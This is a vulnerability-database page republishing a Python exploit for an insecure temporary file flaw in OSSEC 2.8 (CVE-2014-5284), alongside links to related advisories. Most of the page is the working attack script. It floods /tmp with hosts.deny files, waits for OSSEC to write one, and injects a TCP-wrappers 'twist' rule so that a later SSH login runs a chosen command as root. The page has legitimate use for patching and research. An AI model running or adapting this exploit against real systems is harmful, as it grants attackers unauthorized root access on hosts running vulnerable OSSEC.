Lucene search
K

OSSEC 2.8 - Insecure Temporary File Creation Vulnerability Privilege Escalation Exploit

🗓️ 15 Nov 2014 00:00:00Reported by skynet-13Type 
zdt
 zdt
🔗 0day.today👁 277 Views

OSSEC 2.8 Insecure Temporary File Creation Vulnerability Privilege Escalation Exploi

Related
Code
ReporterTitlePublishedViews
Family
FreeBSD
security/ossec-hids-* -- root escalation via temp files
9 Sep 201400:00
freebsd
Circl
CVE-2014-5284
14 Nov 201400:00
circl
CVE
CVE-2014-5284
2 Dec 201401:00
cve
Cvelist
CVE-2014-5284
2 Dec 201401:00
cvelist
EUVD
EUVD-2014-5175
7 Oct 202500:30
euvd
Tenable Nessus
FreeBSD : security/ossec-hids-* -- root escalation via temp files (36858e78-3963-11e4-ad84-000c29f6ae42)
12 Sep 201400:00
nessus
NVD
CVE-2014-5284
2 Dec 201401:59
nvd
Packet Storm
OSSEC 2.8 Privilege Escalation
14 Nov 201400:00
packetstorm
Prion
Design/Logic Flaw
2 Dec 201401:59
prion
#!/usr/bin/python
# Exploit Title: ossec 2.8 Insecure Temporary File Creation Vulnerability Privilege Escalation
# Date: 14-11-14
# Exploit Author: skynet-13
# Vendor Homepage: www.ossec.net/
# Software Link: https://github.com/ossec/ossec-hids/archive/2.8.1.tar.gz
# Version: OSSEC  - 2.8
# Tested on: Ubunutu x86_64
# CVE : 2014-5284
 
# Created from Research by
# Jeff Petersen
# Roka Security LLC
# [email protected]
# Original info at https://github.com/ossec/ossec-hids/releases/tag/2.8.1
 
# Run this on target machine and follow instructions to execute command as root
 
from twisted.internet import inotify
from twisted.python import filepath
from twisted.internet import reactor
import os
import optparse
import signal
 
 
class HostDenyExploiter(object):
 
    def __init__(self, path_to_watch, cmd):
        self.path = path_to_watch
        self.notifier = inotify.INotify()
        self.exploit = cmd
 
    def create_files(self):
        print "=============================================="
        print "Creating /tmp/hosts.deny.300 through /tmp/hosts.deny.65536 ..."
 
        for i in range(300, 65536):
            filename = "/tmp/hosts.deny.%s" % i
            f = open(filename, 'w')
            f.write("")
            f.close()
 
    def watch_files(self):
        print "=============================================="
        print "Monitoring tmp for file change...."
        print "ssh into the system a few times with an incorrect password"
        print "Then wait for up to 10 mins"
        print "=============================================="
        self.notifier.startReading()
        self.notifier.watch(filepath.FilePath(self.path), callbacks=[self.on_file_change])
 
    def write_exploit_to_file(self, path):
        print 'Writing exploit to this file'
        f = open(str(path).split("'")[1], 'w')
        f.write(' sshd : ALL : twist %s \n' % self.exploit)
        f.close()
        print "=============================================="
        print " ssh in again to execute the command"
        print "=============================================="
        print "               End Prog."
        os.kill(os.getpid(), signal.SIGUSR1)
 
    def on_file_change(self, watch, path, mask):
        print 'File: ', str(path).split("'")[1], ' has just been modified'
        self.notifier.stopReading()
        self.write_exploit_to_file(path)
 
 
if __name__ == '__main__':
    parser = optparse.OptionParser("usage of program \n" + "-c Command to run as root in quotes\n")
    parser.add_option('-c', dest='cmd', type='string', help='Used to specify a command to run as root')
    (options, args) = parser.parse_args()
    cmd = options.cmd
    if options.cmd is None:
        print parser.usage
        exit(0)
    ex = HostDenyExploiter('/tmp', cmd)
    ex.create_files()
    ex.watch_files()
    reactor.run()
    exit(0)

#  0day.today [2018-01-04]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation